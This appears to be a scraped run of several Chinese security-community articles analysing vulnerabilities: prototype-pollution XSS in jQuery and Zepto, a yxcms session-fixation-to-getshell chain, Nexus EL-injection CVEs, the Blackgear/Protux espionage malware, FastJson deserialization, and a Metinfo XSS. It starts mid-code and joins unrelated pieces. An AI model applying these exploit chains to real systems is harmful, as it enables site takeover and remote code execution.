match[ 1],
context && context.nodeType ? context.ownerDocument || context : document,
true
) );
// HANDLE: $(html, props)
if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {
for ( match in context ) {
// Properties of context are called as methods if possible
if ( jQuery.isFunction( this[ match ] ) ) {
this[ match ]( context[ match ] );
// ...and otherwise set as attributes
} else {
this.attr( match, context[ match ] );
}
}
}
...
jQuery.parseHTML
jQuery.parseHTML = function( data, context, keepScripts ) {
if ( !data || typeof data !== "string" ) {
return null;
}
if ( typeof context === "boolean" ) {
keepScripts = context;
context = false;
}
context = context || document;
var parsed = rsingleTag.exec( data ),
scripts = !keepScripts && [];
// Single tag
if ( parsed ) {
return [ context.createElement( parsed[ 1 ] ) ];
}
parsed = buildFragment( [ data ], context, scripts );
if ( scripts && scripts.length ) {
jQuery( scripts ).remove();
}
return jQuery.merge( [], parsed.childNodes );
};
跟进下核心函数buildFragment
function buildFragment( elems, context, scripts, selection, ignored ) {
var j, elem, contains,
tmp, tag, tbody, wrap,
l = elems.length,
// Ensure a safe fragment
safe = createSafeFragment( context ),
nodes = [],
i = 0;
for ( ; i < l; i++ ) {
elem = elems[ i ];
if ( elem || elem === 0 ) {
// Add nodes directly
if ( jQuery.type( elem ) === "object" ) {
jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );
// Convert non-html into a text node
} else if ( !rhtml.test( elem ) ) {
nodes.push( context.createTextNode( elem ) );
// Convert html into DOM nodes
} else {
tmp = tmp || safe.appendChild( context.createElement( "div" ) );
// Deserialize a standard representation
tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
wrap = wrapMap[ tag ] || wrapMap._default;
tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
// Descend through wrappers to the right content
j = wrap[ 0 ];
while ( j-- ) {
tmp = tmp.lastChild;
}
// Manually add leading whitespace removed by IE
if ( !support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {
nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[ 0 ] ) );
}
.....
}
buildFragment函数用于建立文档碎片，实现从str到elem的转换，而触发点同样位于此函数
tmp = tmp || safe.appendChild( context.createElement( "div" ) );
// Deserialize a standard representation
tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
wrap = wrapMap[ tag ] || wrapMap._default;
tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
逻辑首先将tmp声明为divElement，然后将解析出来的内容放进里面，wrap的是通过检索wrapMap中的key值拿到的，看下代码中wrapMap的声明
var wrapMap = {
option: [ 1, "<select multiple='multiple'>", "</select>" ],
legend: [ 1, "<fieldset>", "</fieldset>" ],
area: [ 1, "<map>", "</map>" ],
// Support: IE8
param: [ 1, "<object>", "</object>" ],
thead: [ 1, "<table>", "</table>" ],
tr: [ 2, "<table><tbody>", "</tbody></table>" ],
col: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ],
td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
// IE6-8 can't serialize link, script, style, or any html5 (NoScope) tags,
// unless wrapped in a div with non-breaking characters in front of it.
_default: support.htmlSerialize ? [ 0, "", "" ] : [ 1, "X<div>", "</div>" ]
};
所以我们可以通过原型链污染将wrapMap中一个不存在的key值污染，这样当wrapMap检索是否存在解析出来的Tag时就会触发原型链污染
测试代码
[
看下触发点对应的解析，成功触发了原型链污染并进行了HTML拼接触发xss
#### Zeopt
测试代码
[
跟进下具体的触发点
zepto.fragment = function(html, name, properties) {
if (html.replace) html = html.replace(tagExpanderRE, "<$1></$2>")
...
if (isPlainObject(properties)) {
nodes = $(dom)
$.each(properties, function(key, value) {
if (methodAttributes.indexOf(key) > -1) nodes[key](value)
else nodes.attr(key, value)
})
}
return dom
}
在zepto.fragment函数中each函数会自动检索原型对象中的属性得到{"onerror":"alert(1)"}
[
回到原函数中可以看到通过attr函数进行了赋值
[
#### Sprint
这个的触发机制其实和jQuery相差不大，先给下测试代码
[
触发代码
var createDOM = function(HTMLString) {
var tmp = document.createElement("div")
var tag = /[\w:-]+/.exec(HTMLString)[0]
var inMap = wrapMap[tag]
var validHTML = HTMLString.trim()
if (inMap) {
validHTML = inMap.intro + validHTML + inMap.outro
}
tmp.insertAdjacentHTML("afterbegin", validHTML)
var node = tmp.lastChild
if (inMap) {
var i = inMap.outro.match(/</g).length
while (i--) {
node = node.lastChild
}
}
// prevent tmp to be node's parentNode
tmp.textContent = ""
return node
}
同样的是去污染wrapMap的键值，不过这次需要污染的值是一个对象，因为后面是通过inMap.intro/inMap.outro进行拼接的
[
最终在tmp.insertAdjacentHTML处完成触发，在match函数处报错，终止此次加载过程。
## 参考
<https://github.com/BlackFan/client-side-prototype-pollution/blob/master/README.md>
<https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/> | 社区文章 |
### 0x00 前言
整个利用链构造下来是比较有趣的，首发于某个安全圈子，主要是想分享一下思路，发过来先知是为了看看有没有什么建议，讨论。
此次审的是yxcms 1.4.6版本，应该是最后一个版本了吧？
### 0x01 从任意文件删除漏洞说起
yxcms经过修修补补，前台的一些洞都挖得差不多了，一番挖掘没什么效果，转到后台去。后台的防护是比较松懈的。
找到了个任意文件删除漏洞。
/protected/apps/admin/controller/filesController.php
public function del()
{
$dirs=in($_GET['fname']);
$dirs=str_replace(',','/',$dirs);
$dirs=ROOT_PATH.'upload'.$dirs;
if(is_dir($dirs)){del_dir($dirs); echo 1;}
elseif(file_exists($dirs)){
if(unlink($dirs)) echo 1;
}else echo '文件不存在';
}
代码很简单，接收文件名，拼接路径，判断文件是否存在，直接删除。没有过滤。
后台大部分请求是有csrf防护的，但有一些是没有，比如这里的文件删除。
那么我们自然想到的是csrf咯，发个链接给管理员，删除install.lock进行重装，然后getshell。
但这样动作太大了，非常容易被管理员发现。
其实我们无非就是希望能够获得管理员的权限，还有没有其他办法？
### 0x02 更为轻松的办法：session固定漏洞
先简单介绍一下session固定漏洞，session固定漏洞最为核心的其实应该是程序使用session作为认证方式，但又放开了session_id的设置，并且设置session_id在session_starts()执行之后，session_id以key/value的形式指定了后端使用哪个session。
有这么一个场景，当管理员登陆之后，程序生成一个认证session，而此时的session是没有指定session_id的。如果存在一个接口能够让我们指定session_id，那么我们就可以在设置一个session_id连接到这个已经认证的session上去。
构造一个请求设置session_id的链接让管理员点击，那么我们就拥有了管理员的权限。（CSRF）
在攻击成功之后，怎么设置我们的session_id呢？
其实就是我们前端经常看到的这个东西。
`PHPSESSID=fdpmos0quo6o7rq69h6v1u6i50;`
攻击成功之后，设置PHPSESSID=你自己设置的session_id，然后带着这个cookie请求即可访问后台。
yxcms也是存在session固定漏洞的，看到文件protected\include\lib\common.function.php
function session($name='',$value = '') { //session固定
if(empty($name)){
return $_SESSION;
}
$sessionId = request('request.sessionid');
if(!empty($sessionId)){ //不为空，就设置session_id
session_id($sessionId);
}
if(!isset($_SESSION)){
session_starts();
}
if($value === ''){
$session = $_SESSION[$name];
}else if($value==null){
unset($_SESSION[$name]);
}else{
$session = $_SESSION[$name] = $value;
}
return $session;
}
这里接收了一个REQUEST请求，参数名为sessionid的参数，将它设置为session_id。
追溯一下session方法的调用。
用户进行后台相关页面的访问 - >> 先进行登陆和权限检查 --> 调用auth类进行检查
跟进auth类的check方法
先进行session的初始化，然后调用checkLogin方法判断是否有登陆。
static public function checkLogin()
{
$groupid=session(self::$config['AUTH_SESSION_PREFIX'].'groupid');
if(!empty($groupid))
return true;
else
return false;
}
而checkLogin里调用了session方法。
那么我们整个调用链就很清晰了。
请求后台任意需要认证的页面都是会调用session()方法，而且sessionid的接收时REQUEST方式，那么我们只要让登陆后台的管理员点击类似这样的链接，就可以拿到后台的权限了。
`http://demo.yxcms.com/index.php?r=admin/index/index&sessionid=123test`
要让管理员登陆状态下点你的链接，最好的方法是找到个后台的xss啦。
### 0x03 留言伪xss
随便找了一下，在前台留言的地方发现了一个伪xss，可以插入html标签。
虽然构造不成xss，但是已经足够了。利用img 标签发起一个请求，正好够我们session固定用了。
还有点美中不足的是，在实际场景中，你留了个言，你怎么知道这个管理员什么时候触发呢？
有没有办法能够在第一时间通知我们呢？
其实是有的。
我们可以在我们的公网服务器上，放一个跳转脚本。然后在服务器上写一个脚本去统计访问了这个跳转脚本（脚本名字可以设置的复杂点，以防被扫描器扫到）的服务器，并在第一时间发邮件通知我们。
### 0x04 后台getshell
终于到了后台getshell，拿到了权限之后其实就很简单了。
后台有一个编辑模板的地方可以直接getshell。
编辑加入shell代码，访问首页，直接getshell。
### 0x05 总结
通过前台留言功能，在后台构造了一个伪xss，利用img标签发起csrf
session固定请求，中间利用跳转脚本及时记录下获取到权限的服务器，随之登陆后台利用模板编辑功能进行getshell。
Have Fun ! | 社区文章 |
# Nexus Repository Manager 漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
author：r4v3zn@白帽汇安全研究院
## 前言
3 月 31 日 Nexus Repository Manager 官方发布了 `CVE-2020-10199` `CVE-2020-10204`
的漏洞通告信息，两个漏洞均是由 [Github Secutiry Lab](https://securitylab.github.com/) 的是
@pwntester 发现的。
Nexus Repository 是一个开源的仓库管理系统，在安装、配置、使用简单的基础上提供了更加丰富的功能。
## 漏洞概述
`CVE-2020-10199` 和 `CVE-2020-10204` 主要是由于可执行恶意 `EL表达式` 导致的。
### CVE-2020-10199
该漏洞的最终触发是通过给 `HelperBean` 的 `message` 进行 `EL表达式` 注入。
#### 影响范围
Nexus Repository Manager 3.x OSS / Pro <= 3.21.1
### CVE-2020-10204
漏洞触发的主要原因是在
`org.sonatype.nexus.security.privilege.PrivilegesExistValidator` 或
`org.sonatype.nexus.security.role.RolesExistValidator` 类中，会对不存在的 `privilege` 或
`role` 抛出错误，而在错误信息抛出的时候，会存在一个 `EL表达式` 的渲染，会提取其中的el表达式并执行，从而造成 `EL表达式` 注入。
#### 影响范围
Nexus Repository Manager 3.x OSS / Pro <= 3.21.1
## 调试
下载 Docker 镜像：
docker pull sonatype/nexus3:3.21.1
创建 nexus 数据存储目录：
mkdir /your-dir/nexus-data
运行 Docker 镜像，并且开启调试端口，其中 8081 为 web 访问端口，5050 端口为远程调试端口：
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /your-dir/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.21.1
下载 Nexus 源码，并且切换至 `3.21.0-05` 分支：
git clone https://github.com/sonatype/nexus-public.git
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
IDEA 导入项目并且配置远程调试信息：
## 分析
### CVE-2020-10199
该漏洞主要是因为 `HelperBean` 的 `message` 并做 EL表达式过滤，导致出现 RCE
漏洞。根据作者作者描述，作者发现如果可控的数据进入到 `createViolation` 函数将会调用
`buildConstraintViolationWithTemplate` 执行EL表达式，在
`org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#validateGroupMembers:97`
中 `createViolation` 会调用执行。
private void validateGroupMembers(T request) {
String groupFormat = request.getFormat();
Set<ConstraintViolation<?>> violations = Sets.newHashSet();
Collection<String> memberNames = request.getGroup().getMemberNames();
for (String repositoryName : memberNames) {
Repository repository = repositoryManager.get(repositoryName);
if (nonNull(repository)) {
String memberFormat = repository.getFormat().getValue();
if (!memberFormat.equals(groupFormat)) {
violations.add(constraintViolationFactory.createViolation("memberNames",
"Member repository format does not match group repository format: " + repositoryName));
}
}
else {
violations.add(constraintViolationFactory.createViolation("memberNames",
"Member repository does not exist: " + repositoryName));
}
}
maybePropagate(violations, log);
}
其中 `GolangGroupRepositoriesApiResource` 继承
`AbstractGroupRepositoriesApiResource` 符合，在执行 `createRepository` 或
`updateRepository` 会利用到 `validateGroupMembers` 从而触发漏洞：
其中 `[@path](https://github.com/path "@path")` 为请求路径，通过变量拼接可以得出完整的路径为
`beta/repositories/go/group` 也可以通过 `Java Enterprise` 可以看到请求路径为
`beta/repositories/go/group`。
通过查看 swagger 可以看到请求的 Base URL 为 `/service/rest/` ，最后得出请求的完整链接为
`/service/rest/beta/repositories/go/group`。
最后发起请求执行命令：
#### memberNames参数为什么 String 需要变成 Array
可以看到请求的参数为 `GolangGroupRepositoryApiRequest` 类，该类中请求的参数 `group` 类型为
`GroupAttributes`。
可以看到在 `GroupAttributes` 构造方法中需要一个参数名称为 `memberNames` 属性，该属性的类型为
`Collection<String>`。
通过查看 `Collection` 的继承链可以看到在有 `List`、`Set`、`Queue`
等继承，也就是说在请求的参数为其中继承某一个类型就可以实现。
回到正题，为什么 `String` 类型的不行，查看 `String` 类，源代码可以看到 `String` 并未继承 `Collection`
所以无法正常使用。
### CVE-2020-10204
CVE-2020-10204 为
[`CVE-2018-16621`](https://github.com/Cryin/Paper/blob/master/CVE-2018-16621%20Nexus%20Repository%20Manager3%20%E4%BB%BB%E6%84%8FEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5.md)
的绕过，官方在修复的漏洞采用的方案是新增
`org.sonatype.nexus.common.template.EscapeHelper.stripJavaEl:81`
对用户输入roles参数进行过滤，正则匹配的结果是将‘${’替换为‘{ ’，从而防止EL表达式注入，代码片段如下：
/**
* Strip java el start token from a string
* @since 3.14
*/
public String stripJavaEl(final String value) {
if (value != null) {
return value.replaceAll("\$+\{", "{");
}
return null;
}
漏洞触发主要是由于 `org.sonatype.nexus.security.privilege.PrivilegesExistValidator` 和
`org.sonatype.nexus.security.role.RolesExistValidator` 类中，会将没有找到的 privilege 或
role 放入错误模板中，而在错误模板在渲染的时候会提取其中的`EL表达式`并执行。
最后发起请求执行命令：
### EL表达式执行流程
进入 `EL表达式`
流程之后会通过`org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree#validateConstraints`
进行校验表达式，然后通过 `addConstraintFailure` 进行添加 `validationContext`。
跟进 `addConstraintFailure` 之后可以看到 `messageTemplate` 为我们提交的 `EL表达式` 信息，然后通过
`this.interpolate` 进行执行该表达式。
跟进 `this.interpolate` 可以看到通过
`this.validatorScopedContext.getMessageInterpolator().interpolate(messageTemplate,
context);` 进行执行，其中 `messageTemplate` 参数为我们提交的 `EL表达式` 。
跟进
`org.hibernate.validator.messageinterpolation.AbstractMessageInterpolator#interpolate`
之后，将提交的 `EL表达式` 作为参数交由 `this.interpolateMessage(message, context,
this.defaultLocale);` 处理。
继续跟进
`org.hibernate.validator.messageinterpolation.AbstractMessageInterpolator#interpolateMessage`
然后通过 `this.interpolateExpression` 进行针对表达式进行处理，然后将处理结果赋值给
`resolvedMessage`，并且作为参数再次处理表达式。
此时执行的代码为 `this.interpolateExpression(new
TokenIterator(this.getParameterTokens(resolvedMessage,
this.tokenizedELMessages, InterpolationTermType.EL)), context, locale);`
跟进代码可以看到 `isEL=True`，然后通过 `this.interpolate` 处理。
跟进
`org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator#interpolate:83`
可以看到已经将我们提交的 `EL表达式` 实例化为 EL 类型对象。
最后通过
`org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver#interpolate`
方法中的 `resolvedExpression = (String)valueExpression.getValue(elContext);`
进行执行表达式，然后将执行结果转换为 `String` 类型结果内容进行响应。
以下为整个的调用链条：
## 修复
升级至最新版本或 Nexus Repository Manager 3.x OSS / Pro > 3.21.1
## 参考
* [GHSL-2020-011: Remote Code Execution – JavaEL Injection (low privileged accounts) in Nexus Repository Manager](https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype)
* [CVE-2020-10204/CVE-2020-10199 Nexus Repository Manager3 分析&以及三个类的回显构造](https://hu3sky.github.io/2020/04/08/CVE-2020-10204_CVE-2020-10199:%20Nexus%20Repository%20Manager3%20%E5%88%86%E6%9E%90&%E4%BB%A5%E5%8F%8A%E4%B8%89%E4%B8%AA%E7%B1%BB%E7%9A%84%E5%9B%9E%E6%98%BE%E6%9E%84%E9%80%A0/#%E5%9B%9E%E6%98%BE)
* [Nexus Repository Manager(CVE-2020-10199/10204)漏洞分析及回显利用方法的简单讨论](https://www.cnblogs.com/magic-zero/p/12641068.html)
* [CVE-2020-10199](https://github.com/threedr3am/learnjavabug/tree/master/nexus/CVE-2020-10199)
* [CVE-2020-10204](https://github.com/threedr3am/learnjavabug/tree/master/nexus/CVE-2020-10204) | 社区文章 |
# 简介
Blackgear网络间谍活动也称为Topgear或Comnie，基于Protux后门，最早可追溯到2008年。攻击目标位于日本、韩国和台湾地区，涉及公共机构、电信行业和高科技公司。比如，2016年研究人员发现Blackgear使用了包括Elirks在内的不同恶意软件攻击了日本企业。基于最新的攻击活动，研究人员认为Blackgear的运营者拥有良好的组织架构，并且会开发自己的攻击工具。
Blackgear的一大特点就是会避免被检测，会滥用blog、microblog和社交媒体服务来隐藏C2的配置。如果C2信息嵌入在恶意软件中，那么很容易就会被拦截；与之相比，Blackgear的攻击者利用社交媒体就可以根据需要迅速修改C2服务器信息。这样，攻击者就可以实行下一步攻击或者更长远的攻击。
通过分析Blackgear最新攻击活动中使用的Marade下载器（TSPY_MARADE.ZTBC）和Protux（BKDR_PROTUX.ZTBC），研究人员发现了博客和社交媒体发布的加密配置信息，如图1所示。这可以说明这些恶意软件工具是同一组织开发的。
图1. Facebook上发布的Marade加密配置信息
图2. Blackgear攻击的感染链
# 攻击链
为了更形象地描绘Blackgear的攻击活动，研究人员将攻击活动使用的攻击和技巧进行了关联分析。
1. 使用诱饵文件或假的安装文件，通过垃圾邮件发送诱骗潜在受害者点击文件。
2. 诱饵文件会提取出Marade下载器，释放在机器的temp文件夹中，并且将文件大小增加到超过50M，以绕过传统沙箱的检测。
3. Marade会检查受感染的主机是否可以连接到网络，还会检查是否安装反病毒软件。
4. 如果受感染的系统能够联网并且没有安装反病毒软件，Marade就会连接到Blackgear控制的公开博客或者社交账号发布的消息来提取加密的C2配置。否则Marade使用代码中嵌入的C2信息。
5. 加密的字符串会伪装成磁力链接来确保恶意流量以避免被反病毒软件检测到。然后，Marade会解密加密的字符串并从中提取出C2服务器的信息。
6. C2服务器会发送Protux到受害者主机并执行。Protux是一个非常有名的后门，执行时会使用rundll32动态链接库（dll），测试主机的网络、从其他博客提取C2服务器信息，使用RSA算法来生成session key并发送信息到C2服务器。
Blackgear的恶意软件攻击会使用RAR自提取可执行文件（self-extracting executable，SFX）或Office
VB脚本来生成诱饵文件。下面是SFX文件和最近使用的诱饵文件截图：
图3. Blackgear使用的恶意SFX文件内容，伪装成Flash Player安装器
图4a. Blackgear使用的恶意文档
图4b. VB脚本执行Marade的过程
图5. Protux的加密配置和同一博客内的Marade
# Marade和Protux的关系
Marade和Protux的加密配置出现在同一博客中。如图5所示，红色区域的字符串作为搜索标签来找出配置信息的位置，橘色区域的字符串是Protux会提取出的加密配置信息。
在Blackgear之前的攻击活动中，Protux的配置格式是其他的版本。比如，Protux的循环会搜索
“++a++”标签，如图5所示；最新版本的Protux使用的格式与Marade类似，如图6。
图6. 博客中的Protux的加密配置
对最新版本的Protux进行逆向分析可以帮助确定如何解密C2信息，具体参见下面的python代码。研究人员、系统管理员、信息安全专家等在解密Protux的最新版本时都可以使用下面的代码。
` import os, sys, datetime, operator, base64
def decrypt():
if len(sys.argv) != 2:
print “Usegae : ./decrypt_protux_magnet.py <full magnet="" strings="">”
sys.exit(0)</full>
str = sys.argv[1]
head = str.find(“magnet:?xt=urn:bhih:”)
tail = str.find(“&xl=”)
if -1 == tail:
tail = str.find(“&xl=”)
if -1 == head or -1 == tail:
print(“can’t find delimiter”)
sys.exit()
b64_data = str[len(“magnet:?xt=urn:bhih:”): tail]
b64_decode = base64.b64decode(b64_data)
key = ord(b64_decode[2])
data = b64_decode[4:]
output_file = open(“C2_info”, “wb”)
for single_byte in data:
output_file.write(chr(ord(single_byte) ^ key))
output_file.close()
if **name** == ‘ **main** ’:
decrypt ()
`
# 新远程控制器工具
研究人员对Protux远程控制器工具样本的源进行了分析。该工具提供UI接口来帮助攻击者发送指令并监控被黑的终端主机，还可以在受感染的系统中远程控制Marade。
图7a. 控制器提取的Marade相关的信息
图7b. 收集的Protux相关的信息
根据控制器的行为，研究人员断定Marade和Protux是同一个组织开发的。这两个工具在个系统中服务不同的角色，Marade用于第一阶段攻击，发送被黑的系统信息到C2服务器，并等候控制器下发的命令。这样攻击者就可以监控并检查受影响的系统是否他们是否感兴趣。如果感兴趣，就使用Protux发起二阶段攻击。Protux工具可以实时控制攻击者和后门之间的通信，下面是Protux的一些组件和作用：
* FileManage – 列出系统的所有驱动和文件夹
* ProcManage – 列出被黑主机的所有进程、模块、线程和端口
* ServiceManage – 列出被黑主机的所有服务
* RegManage – 列出被黑主机的所有注册表
* ScreenManage – 截图
* ShellManage – 创建shell
# Protux：学习新技巧
Protux是一个比较古老的后门，第一版的开发时间是2005年，距今已有13年时间，使用DLL注入来执行常规程序。基于这些行为，我们可以从使用的下载器和诱饵文件来进行模式映射。触发器的格式为：
`%system32/rundll32.exe <PROTUX file name> <export name>.`
从Protux的历史我们可以看出一些变化：输出名和运行原理，具体如下：
通过对Protux的关联分析，研究人员发现其中嵌入了版本号。图8中高亮部分就是后门的版本号和加密字符串的时间戳。
Protux 3.7是最新版本，使用开源编译器OpenCSP和RSA算法来生成session key。
图8. Blackgear使用的不同版本的Protux
图9. 用OpenCSP加密的Protux
# 企业应对
Blackgear已经有10年的历史了，攻击目标覆盖不同行业。使用的攻击技术可以绕过传统的安全解决方案，比如Blackgear的攻击使用了了阶段感染。一些前在的受害者可能在攻击的第一阶段并不会注意到，因为第一阶段主要是侦察和收集信息。一旦后门感染完成，就会滥用微博和社交媒体服务来提取C2信息。
因此，企业需要应对此类威胁，就需要开发出鲁棒的威胁寻找策略以帮助验证是否存在入侵、威胁和潜在的系统活动。企业还应建立深度威胁分析和关联机制，从网络到服务器再到终端，获取目标攻击的完整图谱。
附 IOC地址： [https://documents.trendmicro.com/assets/appendix-blackgear-cyberespionage-campaign-resurfaces-abuses-social-media-for-c&c-communication.pdf](https://documents.trendmicro.com/assets/appendix-blackgear-cyberespionage-campaign-resurfaces-abuses-social-media-for-c&c-communication.pdf)
来源： <https://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-cyberespionage-campaign-resurfaces-abuses-social-media-for-cc-communication/> | 社区文章 |
作者：KINGX
公众号：[安全引擎](https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA "安全引擎")
记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题。
#### 1\. 关于 parse 和 parseObject
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象，parseObject()
本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象，即
JSON.toJSON()。所以进行反序列化时的细节区别在于，parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter
方法，而 parseObject() 由于多执行了 JSON.toJSON(obj)，所以在处理过程中会调用反序列化目标类的所有 setter 和
getter 方法。parseObject() 的源代码如下：
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}
举个简单的例子：
public class FastJsonTest {
public String name;
public String age;
public FastJsonTest() throws IOException{
}
public void setName(String test) {
System.out.println("name setter called");
this.name = test;
}
public String getName() {
System.out.println("name getter called");
return this.name;
}
public String getAge(){
System.out.println("age getter called");
return this.age;
}
public static void main(String[] args) {
Object obj = JSON.parse("{\"@type\":\"fastjsontest.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
System.out.println(obj);
Object obj2 = JSON.parseObject("{\"@type\":\"fastjsontest.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
System.out.println(obj2);
}
}
上述代码运行后可以看到，执行parse() 时，只有 setName() 会被调用。执行parseObject()
时，setName()、getAge()、getName() 均会被调用。
#### 2\. 为什么会触发getOutputProperties()
感觉上 parse() 进行反序列化创建Java类应该只会调用 setter 方法进行成员变量赋值才对，会什么会触发TemplatesImpl类中的
getOutputProperties() 方法呢？
另外 `_outputProperties` 成员变量和 getOutputProperties() 明明差了一个`_`字符，是怎么被 FastJson
关联上的? 如上一小节所述，parse() 进行反序列化时其实会调用某些特定的 getter 方法进行字段解析，而 TemplatesImpl类中的
getOutputProperties() 方法恰好满足这一条件。
FastJson反序列化到Java类时主要逻辑如下：
1. 获取并保存目标Java类中的成员变量、setter、getter。
2. 解析JSON字符串，对字段逐个处理，调用相应的setter、getter进行变量赋值。
我们先看第一步，这里由 JavaBeanInfo.build()
进行处理，FastJson会创建一个filedList数组，用来保存目标Java类的成员变量以及相应的setter或getter方法信息，供后续反序列化字段时调用。
filedList大致结构如下：
[
{
name:"outputProperties",
method:{
clazz:{},
name:"getOutputProperties",
returnType:{},
...
}
}
]
FastJson并不是直接反射获取目标Java类的成员变量的，而是会对setter、getter、成员变量分别进行处理，智能提取出成员变量信息。逻辑如下：
1. 识别setter方法名，并根据setter方法名提取出成员变量名。如：识别出setAge()方法，FastJson会提取出age变量名并插入filedList数组。
2. 通过clazz.getFields()获取成员变量。
3. 识别getter方法名，并根据getter方法名提取出成员变量名。
可以看到在 JavaBeanInfo.build()
中，有一段代码会对getter方法进行判断，在某些特殊条件下，会从getter方法中提取出成员变量名并附加到filedList数组中。而TemplatesImpl类中的
getOutputProperties() 正好满足这个特定条件。getter方法的处理代码为：
JavaBeanInfo.java
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
...
for (Method method : clazz.getMethods()) { // getter methods
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}
if (Modifier.isStatic(method.getModifiers())) {
continue;
}
if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
if (method.getParameterTypes().length != 0) {
continue;
}
// 关键条件
if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {
String propertyName;
JSONField annotation = method.getAnnotation(JSONField.class);
if (annotation != null && annotation.deserialize()) {
continue;
}
if (annotation != null && annotation.name().length() > 0) {
propertyName = annotation.name();
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
FieldInfo fieldInfo = getField(fieldList, propertyName);
if (fieldInfo != null) {
continue;
}
if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}
add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
}
}
}
...
}
接下来，FastJson会语义分析JSON字符串。根据字段key，调用filedList数组中存储的相应方法进行变量初始化赋值。具体逻辑在
parseField() 中实现：
JavaBeanDeserializer
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer; // xxx
FieldDeserializer fieldDeserializer = smartMatch(key);
...
return true;
}
这里调用了一个神奇的 smartMatch() 方法，smartMatch()时会替换掉字段key中的_，从而 _outputProperties 和
getOutputProperties() 可以成功关联上。
JavaBeanDeserializer
public FieldDeserializer smartMatch(String key) {
if (fieldDeserializer == null) {
boolean snakeOrkebab = false;
String key2 = null;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
if (snakeOrkebab) {
fieldDeserializer = getFieldDeserializer(key2);
if (fieldDeserializer == null) {
for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
fieldDeserializer = fieldDeser;
break;
}
}
}
}
}
#### 3\. 为什么需要对_bytecodes进行Base64编码
细心的你可以发现，PoC中的 `_bytecodes` 字段是经过Base64编码的。为什么要这么做呢？
分析FastJson对JSON字符串的解析过程，原来FastJson提取byte[]数组字段值时会进行Base64解码，所以我们构造payload时需要对
`_bytecodes` 进行Base64处理。FastJson的处理代码如下：
ObjectArrayCodec.java
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
final JSONLexer lexer = parser.lexer;
// ......省略部分代码
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue(); // ... 在这里解析byte数组值
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
// 接着调用JSONScanner.bytesValue()
JSONScanner.java
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);
}
* * * | 社区文章 |
# Metinfo 6.1.3 XSS漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前段时间看到一个cms造成的xss漏洞，这里想分析下。这个漏洞是metinfo6.1.3版本因参数问题造成前台和后台引起了两处xss漏洞。
这个漏洞的影响范围一直到最新版本（6.1.3），因为前段时间爆出的漏洞，所以新版本应该已修复。
cms最新6.13下载地址：<https://www.mituo.cn/download/>
## 前台漏洞分析（ CVE-2018-20486）
通过在前台插入xss访问，然后会在后台触发xss，造成xss攻击。
漏洞的触发点在admin/login/login_check.php
这里加载了$commonpath=$depth.’include/common.inc.php’，然后在如下的代码段里存在变量覆盖漏洞：
（admin/include/common.inc.php 77行）
然后往下分析，回头看admin/login/login_check.php这段代码
$url_array变量是我们可控的，从而控制$truefile变量，进入下个if语句，if语句中存在更改数据库信息的mysql语句，从而可以直接更改数据库信息
